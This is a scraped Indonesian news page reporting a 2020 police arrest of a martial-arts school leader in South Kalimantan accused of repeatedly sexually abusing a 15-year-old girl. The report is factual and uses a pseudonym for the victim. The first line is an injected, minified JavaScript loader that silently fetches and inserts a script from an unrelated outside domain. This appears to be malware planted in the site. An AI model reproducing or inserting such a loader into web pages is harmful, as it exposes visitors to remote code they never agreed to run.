(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
KANALKALIMANTAN.COM, AMUNTAI – Berdalih memberikan ilmu tenaga dalam, pria berumur 58 tahun, seorang ketua perguruan pencak silat di Kabupaten Hulu Sungai Utara (HSU), Kalsel, mencabuli Mawar (15), seorang anak yang baru lulus SMP.
Bahkan, korban Mawar sudah digauli layaknya istri diduga berkali-kali oleh tersangka Anis sejak tahun 2018 silam, hingga akhirnya ketahuan bunting.
Aksi predator anak itu baru terungkap setelah ayah korban curiga melihat si anak bertambah berat badannya. Kemudian anak itu pun dibawa ke rumah sakit untuk diperiksa.
Bak disambar gledek, sang ayah terkejut bukan main, apa dikata ternyata Mawar diketahui berbadan dua dengan usia kehamilan sudah 7 bulan.
Tak terima atas kejadian tersebut ayah korban akhirnya melaporkan kejadian tersebut ke Mapolres HSU.
Lantas berdasarkan hasil penyelidikan pada Jum’at (7/8/2020) sekitar pukul 15.00 Wita, Unit Jatanras Polres HSU menangkap tersangka Anis saat berada di belakang rumahnya di Desa Lok Bangkai RT 06, Kecamantan Banjang, Kabupaten HSU.
Kapolres HSU AKBP Pipit Subiyanto SIK MH melalui Kasat Reskrim Iptu Kamarudin SH kepada Kanalkalimantan.com, Sabtu (8/8/2020) mengatakan, pihaknya telah meringkus tersangka Anis atas laporan orang tua korban sehari sebelumnya.
Dari keterangan polisi, tersangka Anis diketahui berprofesi sebagai ketua perguruan pencak silat “Sinding Setia Kawan Amuntai”.
Kejadian dugaan pelecehan seksual ketika korban Mawar sedang berlatih, saat itulah tersangka mendapat kesempatan bicara dengan korban. Anis membujuk korban untuk memberikan ilmu tenaga dalam. Syaratnya, ‘transfer’ ilmu tenaga dalam itu harus dengan cara berhubungan badan layaknya suami istri.
Termakan bujuk rayu tersangka, korban Mawar manut saja, mengikuti ‘transfer’ ilmu tenaga dalam sesuai keinginan tersangka.
Bahkan, parahnya kejadian ‘transfer’ ilmu tenaga dalam itu berlangsung berulang kali, dan sering dilakukan Anis kepada korban dari tahun 2018 sampai dengan 2020.
“Menurut pengakuan korban sering digitukan pelaku, tidak ingat lagi kadang di rumah pelaku saat istrinya tidak ada, namun pelaku ngakunya tiga kali saja,” jelas Iptu Kamarudin.
Kasatreskrim Polres HSU mewanti-wanti kepada para orangtua lebih berhati-hati lagi memonitor anak-anaknya. “Baik anak perempuan maupun laki-laki, agar tidak ada kasus pencabulan terhadap anak seperti yang terjadi ini,” tandasnya.
Atas perbuatannya tersebut tersangka bersama barang bukti harus mendekam di jeruji besi Mapolres HSU guna menjalani proses hukum lebih lanjut. Anis bakal kena sangkaan tindak pidana persetubuhan tehadap anak sebagaimana dimaksud dalam rumusan pasal 81 ayat 1 UU No 35 tahun 2014 dengan ancaman penjara minimal 15 tahun. (kanalkalimantan.com/dew)
Reporter: dew
Editor: bie
KANALKALIMANTAN.COM - Fitur Accessibility pada perangkat smartphone adalah fitur yang penting untuk seseorang yang memiliki… Read More
KANALKALIMANTAN.COM - Kamu pernah dengar istilah "brand itu nyawa bisnis"? Di era digital ini, pernyataan… Read More
KANALKALIMANTAN.COM, BANJARBARU - Puncak musim hujan sudah memasuki sejumlah wilayah Kalimantan Selatan (Kalsel) bertepatan pada… Read More
KANALKALIMANTAN.COM, BANJARBARU - Bagi warga Kota Banjarbaru yang akan meninggalkan rumah pada perayaan libur Natal… Read More
KANALKALIMANTAN.COM, BANJARBARU - Gubernur Kalimantan Selatan (Kalsel) menetapkan besaran Upah Minimum Provinsi (UMK), Upah Minimum… Read More
KANALKALIMANTAN.COM, BANJARBARU - Sebuah insiden kecelakaan lalu lintas (laka lantas) mengakibatkan seorang pemotor meninggal dunia… Read More
This website uses cookies.